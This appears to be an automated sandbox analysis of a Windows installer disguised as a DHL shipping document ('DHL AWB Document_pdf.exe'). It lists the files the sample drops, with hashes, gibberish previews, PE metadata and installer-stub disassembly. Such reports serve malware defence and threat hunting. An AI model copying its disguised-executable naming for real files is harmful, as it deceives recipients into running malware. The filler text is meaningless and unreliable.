Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	214120
Entropy (8bit):	1.2579565170685552
Encrypted:	false
SSDEEP:	768:q5nvyKGXCnISP0EVK0SaU31cnnQGGPHYv19dX9b6UU1DURU+3bmbKTLVaHF4RhuS:aqKXnFy1OAiXJipY
MD5:	96B2F505D112A6F57388F3094D161250
SHA1:	E8BEEF63CFAB5DBBF8FE5D3433CCB0E1BD0C30CB
SHA-256:	89737BBD79CBE18E3A0CA679A61F40A4F8426FF5A20A8D5FA16E9F468D024ADF
SHA-512:	34B0C0306589E7D5C813FC97ED51A9F96B19E86CDF5EA0582AD918F5A3AC5980161F16DA7893285BE4D38DDE34CE3386D0A242E3AD1983B198C11D911895EDC3
Malicious:	false
Preview:	\|\|\|\|\|\|\|\|\|\|\|\|\|\| \|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|_\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|.\|\|.\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|.\|\|\|\|\|\|\|q\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|@\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|R\|\|\|\|\|..\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|m\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|XF\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|.\|\|\|\|\|\|\|\|\|P\|\|\|.\|\|\|\|\|\|.\|\|\|.\|\|\|?\|\|\|\|.\|\|\|.\|\|\|`\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|.\|.\|\|\|\|.\|\|.\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|8\|\|\|\|\|\|:\|]\|\|\|\|\|\|~\|.\|\|\|i\|\|\|\|\|\|\|\|\|C\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|t\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|z\|\|\|\|\|\|\|\|\|.\|\|\|H\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|w\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.l\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|..\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|..\|=\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|E\|5\|\|\|\|[\|\|\|\|\|.\|\|\|\|]\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|V\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|A\|\|\|\|\|\|\|\|\|m\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|.d,.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|C\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|.\|\|\|\|.\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|M\|\|\|\|\|G\|S\|\|\|\|\|.\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|T.\|.\|\|\|\|\|\|\|\|\|<\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|.\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|m\|\|\|\|\|\|\|\|\|u\|\|\|\|\|\|

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Snorelofts.sam

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	5View capture file
Category:	dropped
Size (bytes):	435668
Entropy (8bit):	1.253832121572574
Encrypted:	false
SSDEEP:	3072:NKIEw9ZoxgquiPFmuHbpNx7eMjiqYAvKHJD0LMC12XdglxUiUKREgR8CzgO75Q01:hMrhB
MD5:	37F81FE171AF7FFB40CA626AAF49C62D
SHA1:	19C8F00E9697E02C1EA6318E5A76D1AE12EE99D1
SHA-256:	295E99D5CFF9FD679416772E4BE849B28FD9D26878A0FB6BCD938ED569389661
SHA-512:	1E157EFF96AFE784319820EEF8A4BAD0A311974B54EA9968FE20D06BFD39572DCF3C6CA147D08B842647A491118C4B8DD6CF1BD565FC5BFAA4BF47665058C895
Malicious:	false
Preview:	...........V...........................)...........................................................=.....I..............................T..................5..................6......................@........................................................d..............................................,...................................................................0........_..........................B............................m...........................e........................5.<..............................................................................\..........................................s...................q..........Z........<...........................................f...)..............\|..........................b.......,..................C.............................................................)........................................................................`...........................................................p.........

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\Gamdeboo\nonredundant.txt

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	339
Entropy (8bit):	4.386002311199939
Encrypted:	false
SSDEEP:	6:eTMJWn6uG/xCKALCME9jvn4XxtGRlcXgQMzAjDJAWrF4SMgvNXlKjXnLfWqEKYTK:MIM6uG/Q7LcjvXcQJSAWrF/wL+BhK
MD5:	27B2BA9A77B5AC1124E34924F8BCF439
SHA1:	61BB651112CACEB90B3F8D55B4FB70A8BF290C5D
SHA-256:	89EED45CE89233A0DB0CE806E06F9F0D871BDFF0B2452174BC9424D492F3400B
SHA-512:	0A18590A9ED34CED58624B2F84EB7DE8E17BBE6BA17DD79E63A267898526DB91D7666E17C3ACA48AF23F190A6B182BEEA9ACDB22D0DAE9D4B7CC4E76DFFB8FBC
Malicious:	false
Preview:	....Tavshedslfters pseudoclassical cobbled skeletonizers uncivilizes oralsex........;rengringsdamer mejslingernes hvalfangere gullable minidisks nucelli.Shovelboard axumite emmeriks albatrosses trvesmuldet..parflesh damianist underbegavethed glossagra disjoins varmtvandshanerne tilfredsstillelses.Neoconservatives tabuleringer acrologic..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\Gamdeboo\nytaarsforstters.jpg

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 178x533, components 3
Category:	dropped
Size (bytes):	11613
Entropy (8bit):	7.938426026696142
Encrypted:	false
SSDEEP:	192:Lbo5WFAOldq2TTsnS6z6DPy7yR0JrN1HzaVP8A2W3oFbutJFBa1OYswbWeRp7Mhy:3oI2Ofq20R67eBH+VPaW3uu1qhswyeRv
MD5:	A26FDA60840D7433C2B9F03FF5B6313F
SHA1:	59E8062AACF7B5EE2BFA5B93E9DA575B71E93B6C
SHA-256:	CF4CB340522CBF86D73BC79CBC19E16ABD4957194F5951D1F8745A307A7EE125
SHA-512:	C609BF930ABB7B5B48E4AA1F53AA2D8AF52B985E9808993C17978E7C943E7854ADF245ACF6A57A90A0CDE487706355AA7619AB1C9A71382C9497D2CEEE273CC4
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...1.Y7$.....h......Z....ZD...&..._.m.'0.......Z...C`.oO4.I..9...).YH..Y7..k\.......lP..........\..._.u...u?.d....\.AN...O........).......g-...g..c..^~z...!...A.....4..Gc[.\.1}.w.Z........w...2.?.*x>.}j..SS.p....{.<O./.-......._...z.H.n...EU.h.5..iY.}...CT..;.YST .``..-+.>e...0@.J......o.f. .k.c...F.D.=S..?z.=K(......u..;...<...Z.m..~.........~..gI.....u...G

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\Gamdeboo\peptonize.jpg

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 85x514, components 3
Category:	dropped
Size (bytes):	6698
Entropy (8bit):	7.913586766253015
Encrypted:	false
SSDEEP:	96:RhDE/bw4VVlkoldIEd3q30RogKpZD1429e7hMbEUoH1Im5nw4xZt2pjpfG8Jk:LDCw4VsaSEda3JgKT87h4spnw4/t4rJk
MD5:	171FB9CF38673F2775687EEABD5C17F9
SHA1:	91E101B39EA447C2AE37895D9928BD76A658D83B
SHA-256:	6F5866884FEEC2E4E5849FFB69C597DF8A49334714F62793469C7617240FEF78
SHA-512:	B253BD7961991ABFCF2B44516F0124EA0A5A2E20985B68F97D80509C6D879DBBCBC26749C1E641AC85B566A66D3CF46FB3B86ED34920B20BF20D21F8FB24B63A
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........U.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..E...Z.a.(.......M...P.b.S..7.....<u.....".EHE4.i.+..q..T.\\|..Z.=.v.jj.h.......S.[..)h.H....-..11...O.M"....E8.*.F....S.1....Z......4.jx.......R..Pih.H....S.HzS..2h.c.h.p".qi.N.......<u..`..Lhv8..R..#...(.1.!.Ph....h......g.U...'.V..zS.F...sR.D....:........8..Hh..QJh..E...'./..E.".F..).Z...!..L.)..sR...5Bw.SiGjC.....H....S.....X...5...])..G..q...Z..<zQ%.E.^

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\Gamdeboo\polysomatic.txt

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	565
Entropy (8bit):	4.507713117297587
Encrypted:	false
SSDEEP:	12:78zhwZSb69J6TdesZIhFSzCondQEvM76qjzJ9tD:78zhoS8+ZIhFSzCJGSjBD
MD5:	8751DD1639F8457EFB017CCD2FDE0F25
SHA1:	21784460C75DAC9412FCA4E971EC9FEDBA1BB8BC
SHA-256:	254BB3E52AA738F17CBEF508E541FBBE928576F4FBBFCEE39ACC6C3025351991
SHA-512:	1B3F6823586BDA4AAEF8795D5AAEBC787EAA9AB4F2D9D9110B30CD71D95BF22CE7B4782647707A0C32855D24BB1C84F89F61DA527281DAD3DEB161851E20E531
Malicious:	false
Preview:	;sennepsfrs promethean rolige printertyper investitive.Townhome weekdays genfundnes kriminaldommer distriktsjordemoderen syndebukkenes..;corina piqued stegeserne bagflikkendes.Tnke tine jernmalms sierne bedriftsvrnets stumtjener..Viny retransmits ghostlikeness bertelsens merbonde nonauthoritative isovalerianic,rotundens supergallantness hestebremsernes..[EFTERKRAVS DENOTATION]......palaeographically systolic wereass propels nordenvinde fusional,sensating decident engulfs encephalomyocarditis sadeltages ansttelsesaarets spinderiet bats oppositipetalous liesh..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\Gamdeboo\stridsmndene.jpg

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 427x699, components 3
Category:	dropped
Size (bytes):	35074
Entropy (8bit):	7.929273166684339
Encrypted:	false
SSDEEP:	768:/1qAL9ONp6yNZmL45EqsbSeIcggTHYRFvmgj14:/wW9DyLmc5xsmsg7R9ma4
MD5:	E02B537614B9A3B20897B2CE88362B2F
SHA1:	9E0BBCF243960400626DF59CE2F00A99D28464E5
SHA-256:	5833AF3396DEF24CE4EBF4CABC1E4B7C47564835167F977C25FF8CBDCC568306
SHA-512:	7014B6B8AB45E09735151E40FBD701D7CD7164E79AF7FD0FDB1497BD8AEDC092FEAB4CC443362EDD8E3F82993DF87E1E9ADB3A576A267BDCDE4C94E941A20140
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..VR...B.\n'.jN?.....Z.{C1.....@N.....P..;.#<b..L..}.wn.. .9..\.......@...M..&O.G.FX......>..s.?\...@..2M.?lPK.@..'".....?.h..'.....?..q...v(.'.q...r{.`..I.h.b.....s.K.Q.(....`.'.9...._....&....4..}?.!S.M7.=iw.S.S...sK...7q...I..M.;e..(9.z.q....ZNi.>.....Q..L..........c........0....O.....5S.......N}9....z.77..-.(.6....{..oA..\|..4....&..7.N...(##....j.

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\Gamdeboo\strolld.jpg

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 547x605, components 3
Category:	dropped
Size (bytes):	40564
Entropy (8bit):	7.970435935833064
Encrypted:	false
SSDEEP:	768:EmF+WkDks/1TAMAlDmXMNHgnMSYb9dQfW44X7+znLdp0ja7xweTnuJ:EY+ksRAlDm0gMSYb/B44MnLdKja7eQn0
MD5:	5D97A896225E838266ED45E035111307
SHA1:	4C2B4255AB66255CB6FDBD1CC668D59A04FB0716
SHA-256:	6122CD9B5F6B422F502C1AE9621096E1CBDD1CC8519F9846D61B0EB050D9A360
SHA-512:	03802AD07BAA11F72843F6E8D9CBE477AAE608CF5FB6B6F3B2475A9CAF681FA6039F6520BAF3509FC2B45069550DDAA2901DFA5CDF28D2CF164621E105A14714
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......].#.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....f....v...4H.&...X....u6...r6..u6'(*.&G.."5WJ.....#..9v.i.........?...k....DS}..j..v....d....m.J......@>........}i5...)...q....j....\N.?.O.u..?J.u....M......EoL95.xh.+...Q...?J......@>C..1.......}.].p......Z.."...U\...c]2...]i.sC.l.s..t'..Q1.......... .5......`.....\9..J...C.j...c.5;.2..w..U.......[..Z...n3p>..vqm.P#....k.'..</..WQ.jJ.u..J.T...E0.jSM"

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\Svanehalsens40.ini

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	142
Entropy (8bit):	4.480171964505095
Encrypted:	false
SSDEEP:	3:rCA2rL0AIZAXCRxR62tyvLxMHLbFRMgdov+jE3uqrygitHjDxlvyy:W7L0LoUx0992brMgA3TrzidjDXT
MD5:	89BD48202FA5C0E5862F7217C2E8BC7E
SHA1:	D3DFD6451B0EAB34FBE4CD2BAE5CD5734DB92BC4
SHA-256:	91A28F8430ECED63B1963DDF512DCD5F495215F2E9C8B5D3ED30F1FF592A399F
SHA-512:	FE5210EAC9736655F0746127A9D2697A97162C0F70E2E66A29AE5ACAFF9E7AE188BA0E0F60A7D7BE32656419AC3B54A433F5C3F9FCEA78CB9DA87DC8B1CD9FE8
Malicious:	false
Preview:	....gevandts pennetegningers terrasserings tredveaariges engsnarernes.Tingestens hogtying tilisning enfrenzy..[FLORENTINERES HVNGERRIGT]......

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\aeroenterectasia.txt

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	479
Entropy (8bit):	4.343563883081814
Encrypted:	false
SSDEEP:	12:0kuwpmq0bmPFIITWKCgTNK8R6woSCsGYaA9vGvLFDaH3:0BwpmDm/T8ZkvGdAhKLFWX
MD5:	B37F8F4DD6D203E91BF9B52164B0E930
SHA1:	F498B348D3EF9D9F28439959D734A275F3718A2C
SHA-256:	19D128854E9A737A66F1D78C4D7EACCD5CC6ADE765C4E626580828711BD34277
SHA-512:	51D77666407859F68F00B2C9F3DA8E886E8ABB8471D17C419E097C2FAAE93F8DE0CCB4B0CC28BE56B1A5C019C5FAF5D412E7D26BD544804A69AEB8660F1EDDAB
Malicious:	false
Preview:	..;rodlike forspandenes knalder variabelformerne.Dannemorite glykosens doubletons thallogenous tribader..[atle deeskalationernes]....hanke trivialromanerne gametoid quantization gasopvarmningen dobler stroemforsyning interneuronal,rhoda lighedstegnets kloakeringsprojektets nagana netdrift ostracioid..huntress plugging bjedes rgtppes extemporising fiskerkoner frontbetjent macabre.Blusses odouriferous scullion edels sprjtenarkomanerne albinal brudbjergs lagereddike glassenes..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\bovnende.ini

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	781
Entropy (8bit):	4.440913869058056
Encrypted:	false
SSDEEP:	24:eMXVxcuu06yM2/vl9fq2y988SAk2B8yhV:eMlru03Dnl9fLypSAkhyhV
MD5:	EA579519E716D838A6AB18E046341A08
SHA1:	815A032D93679FAB52C35FADB9F08C0B51A75724
SHA-256:	7811FB74BB8885BDFF228CE12DD351D79853786B20648122375A59204200AC38
SHA-512:	C020DF01710B43ADE68AAAD5D2DD0D057007FCEC78303E475AF25A212DE2CD269691611C42BCF393507C13034F66DAFFA8FC0FCDA990FE2042FB3DB095EA1D8B
Malicious:	false
Preview:	crocanthemum rigsdaler substansens womanizations semionotidae overnattedes relikters forsrgelsespligternes opmrksomhedsvrdi sultestrejkedes.Illing versemen dataskrmen selenolatry disennoble endosmotic forlses slotsaftapnings gravmonumenters alkoholismen deterring..sdvanligt vermilionette detaljeprojekteringerne landjordens eksportforbuddenes processionizes caruncula bisat diskvalificmbr udbyttedelings bibeltroen.Proferment procurers gaar afstandsformlens ushabtiu reyoking yarned..[PALSTINENSERNE LEADOFFS]..Sunstar scavager tredivtedels otolaryngology printene stockading summarisation soldanrie admiralskibs pramblet..nazificeret motionsgymnastik advarselssignalerne slettetasternes kamuflerendes refrigerator udvalgsmdernes.Bilfragterne modulations visedigter gevinsternes..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Unfrequentable\derimellem.ini

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	Generic INItialization configuration [sacredly monocarps]
Category:	dropped
Size (bytes):	275
Entropy (8bit):	4.645241049855579
Encrypted:	false
SSDEEP:	6:0Bpt0IkBXzKRMblggulSY2+e5LZA1RWAuQhElBS4Fq:0BT0IkhzBelSRVgU384Lq
MD5:	7D769C4365CA475B13B0D7D3FF060839
SHA1:	39A0854376445A023CEC7E0987142E1670CE8CF9
SHA-256:	4E3BB0A39D1C62DF3536CC0E9731F45E7577E922E01A0A3EEC3CF9B75CE024E2
SHA-512:	830B199CCA6058A4A17E3EE34C3875837509BE243D8FCF7CAAED2C1599F87FFF7BB42303966A5D7FDFDBD329B6658DC5F61A52A8E2D64FD2A3D8B85AAD1EF12C
Malicious:	false
Preview:	....Earlships blomsterudstilling udsanerernes ingbritts alperose bogbinderes tovninger piqure unsolicitousness..[SPANTETS INDSAETTELSEN]..overgangsreglers lamingvr immoment.Biologize roderigo kollationeredes quebrith jnana preoverthrown margenlinierne..[sacredly monocarps]..

C:\Users\user\depression.lnk

Download File

Process:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	916
Entropy (8bit):	3.289213496338271
Encrypted:	false
SSDEEP:	12:8wl0VsXMlykXoXJEIJcw8P12qkXI1J1FV0fC4xnXFl1N184t2YZ/elFlSJm:8WrmCzS7RrsC0X/Kqy
MD5:	1FBC26D69BA8BC44B652435103DB1BBB
SHA1:	152873A7FF0F5D170EF082D835072E62891D6F4B
SHA-256:	F2A572375D3518C309C5C4E5B8EA6E93F81EAB654C45BADB8235638894ADF895
SHA-512:	FE422CC10A4D4AB35AD1423B9AFBDC00FCF50D23124DC0F3BE3C483F8EF4889EDA3D47D8E2874E90CF31406EC602FF5F0B7C127AC7070E01571BE4F11678E6A3
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....\.1...........user.D............................................f.r.o.n.t.d.e.s.k.....\.1...........Documents.D............................................D.o.c.u.m.e.n.t.s.....h.2...........populaton.neu.L............................................p.o.p.u.l.a.t.o.n...n.e.u...........\.D.o.c.u.m.e.n.t.s.\.p.o.p.u.l.a.t.o.n...n.e.u.T.C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.S.l.u.t.a.f.r.e.g.n.i.n.g.e.r.s.1.7.5.\.a.m.m.u.n.i.t.i.o.n.s.f.a.b.r.i.k.k.e.r.s.\.U.n.f.r.e.q.u.e.n.t.a.b.l.e.\.G.a.m.d.e.b.o.o.............5...............#.F..l.H.i.5...............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.940149154960324
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DHL AWB Document_pdf.exe
File size:	713'347 bytes
MD5:	0aeea57a56be2f86535e0809c6cd55d5
SHA1:	3f7e6a4ed823c699c6a18793ed8b18c97c620973
SHA256:	14b6341a024dfec538f97f5a3b11efbbc056863ea18eefe58822cd81e81ea09d
SHA512:	a68c5af239924f89090e3feec220e0ea1af99a169bbc9c712c43e8154aad754024d830bd58b716f50a245d27dd0f1ca4d44fba217e4b63d3aaea7cc6cca09370
SSDEEP:	12288:0Lx0wMMZg3uMgRJv47/qrsm3N1pY+1fgUCytb0OmL2H8tEB2LyO:0LTZgezfvMlmNP1YLZOmq8KALr
TLSH:	17E4230062526E37E6C307B01A7290F2CA769E95B95A73873FA03F977D3547AC40B297
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L....z.W.................^.........

File Icon


Icon Hash:	a5d56872428d9074

Static PE Info

General

Entrypoint:	0x4030d9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x57017AA7 [Sun Apr 3 20:18:47 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007F6BAC7E84C3h
push ebx
call 00007F6BAC7EB431h
cmp eax, ebx
je 00007F6BAC7E84B9h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F6BAC7EB3ADh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F6BAC7E849Dh
push ebp
push 00000009h
call 00007F6BAC7EB404h
push 00000007h
call 00007F6BAC7EB3FDh
mov dword ptr [00423704h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECC8h
call dword ptr [00407174h]
push 00409188h
push 00422F00h
call 00007F6BAC7EB027h
call dword ptr [0040709Ch]
mov ebp, 00429000h
push eax
push ebp
call 00007F6BAC7EB015h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x36000	0x5110	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c5b	0x5e00	3d4c7426917ca8533fbfc9cd63e19ba3	False	0.6603640292553191	data	6.411487375491561	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	43fab6a80651bd97af8f34ecf44cd8ac	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	00798d060e552892531c88ed1710ae2c	False	0.6376953125	data	5.108396988130901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x12000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x36000	0x5110	0x5200	4c0432814ed2e0e86b285740ae86eb13	False	0.18054496951219512	data	2.9066831452356485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x362c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.10197095435684647
RT_ICON	0x38870	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.17659474671669795
RT_ICON	0x39918	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.21598360655737706
RT_ICON	0x3a2a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2703900709219858
RT_DIALOG	0x3a708	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x3a850	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3a950	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x3aa70	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3ab38	0x60	data	English	United States	0.7291666666666666
